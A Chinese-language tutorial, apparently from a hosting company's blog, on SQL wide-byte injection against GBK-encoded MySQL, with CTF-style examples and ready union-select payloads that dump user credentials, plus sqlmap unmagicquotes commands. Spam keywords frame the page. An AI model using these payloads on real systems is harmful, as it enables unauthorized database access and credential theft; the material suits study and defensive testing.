91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

SQL寬字節注入是什么

發布時間:2023-02-24 14:24:18 來源:億速云 閱讀:102 作者:iii 欄目:開發技術

本篇內容介紹了“SQL寬字節注入是什么”的有關知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領大家學習一下如何處理這些情況吧!希望大家仔細閱讀,能夠學有所成!

基礎知識

寬字節

在了解寬字節注入之前,我們要了解一下什么是寬字節,相對于單字節,我們引入一個字符數大小為兩個字節的為寬字節,比如GBK編碼,我們漢字通常使用的就是GBK編碼,也就是說一次性會讀取兩個字節。

SQL寬字節注入是什么

寬字節注入

產生寬字節注入的原因涉及了編碼轉換的問題,當我們的mysql使用GBK編碼后,同時兩個字符的前一個字符ASCII碼大于128時,會將兩個字符認成一個漢字,那么大家像一個,如果存在過濾我們輸入的函數(addslashes()、mysql_real_escape_string()、mysql_escape_string()、Magic_quotes_gpc)會將我們的輸入進行轉義,那么我們是不是可以嘗試注入,我們舉一個簡單的例子:

addslashes()函數

該函數的作用是返回在預定義字符之前添加反斜杠的字符串。于是我們可以分析一下我們轉入的參數流程:

假設我們傳入一個參數id為1'查看數據庫是否錯報:

index.php?id=1'

那么經過函數過濾后我們的輸入拼接到sql語句就會變成:

select * from user where id = '1''

可以看到單引號被轉義了,加入我們像下面一樣傳參:

SQL寬字節注入是什么

可以看到我們傳入的參數與\合并成了一個漢字,具體可以參考下圖:

SQL寬字節注入是什么

可以看到我們的單引號沒有被轉義,從而達到了閉合單引號的效果,這就是一個簡單的寬字節注入。但是需要有個前提,也就是MYSQL設置了GBK編碼:

SET character_set_client =gbk

例子

例題一

進入頁面發現url可以有個變量id可以傳入參數,于是我們傳參測試是否報錯

?id=1'

發現單引號被轉義了,數據庫沒有進行錯報,具體可以看下圖:

SQL寬字節注入是什么

結合我們上面學習到的寬字節注入的知識,懷疑是addslashes函數轉義了我們的單引號,于是我們嘗試進行繞過,我們先查詢列數:

?id=1%aa%27 order by 3--+

發現列數為三后,判斷回顯位置:

?id=-1%aa%27union select 1,2,database()--+

成功爆出了數據庫的名字,于是后面操作就跟平常的SQL注入一樣了:

?id=-1%aa%27union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users--+

SQL寬字節注入是什么

例題二

打開網頁有一個查詢框讓我們進行查詢,我們嘗試加入單引號但發現沒有報錯,于是查看下源碼看看有沒有有用信息:

SQL寬字節注入是什么

gb2312正是漢字編碼字符集,于是我們嘗試寬字節注入:

?id=1%df%27%20union%20select%201,database()%23

成功回顯了數據庫的名字,說明可行,于是我們繼續注入:

?id=1%df%27%20union%20select%201,string%20from%20sql5.key%20--%20

得到了我們想要查詢的信息。

SQLMAP應用

SQLMAP作為一個強大的SQL注入自動化工具也是可以進行寬字節注入測試的,下面我們來學習一下利用SQLMAP走一遍寬字節注入的流程:

先跑數據庫名:

sqlmap.py -u "http://sql/index.php?id=3" --tamper unmagicquotes --dbs

其中tamper為利用SQLMAP中自帶的腳本,當然我們也可以手動導入,而unmagicquotes為我們寬字節注入利用的腳本,下面查詢表名:

index.php?id=3" --tamper unmagicquotes -D 'xino' --tables

爆出來表名后爆列名:

index.php?id=3" --tamper unmagicquotes -D `xino` -T ctf --columns

之后我們爆出數據:

id=3" --tamper unmagicquotes -D `xino` -T ctf -C flag

SQLMAP中進行寬字節注入還是比較簡單的,只需要注意我們利用到了sqlmap的寬字節注入腳本,其他的跟平時注入并沒有很大的差別。

“SQL寬字節注入是什么”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業相關的知識可以關注億速云網站,小編將為大家輸出更多高質量的實用文章!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

sql
AI

河南省| 樟树市| 隆安县| 明水县| 古浪县| 会昌县| 齐齐哈尔市| 南岸区| 深圳市| 历史| 克东县| 吉林省| 咸宁市| 郧西县| 泰兴市| 黎川县| 威远县| 视频| 乌什县| 天长市| 依兰县| 东乌珠穆沁旗| 乌拉特前旗| 琼中| 尼木县| 刚察县| 达州市| 徐闻县| 招远市| 峨山| 黄陵县| 浦城县| 鄂托克前旗| 孟津县| 龙胜| 金堂县| 鹤岗市| 邓州市| 调兵山市| 阿拉尔市| 高雄县|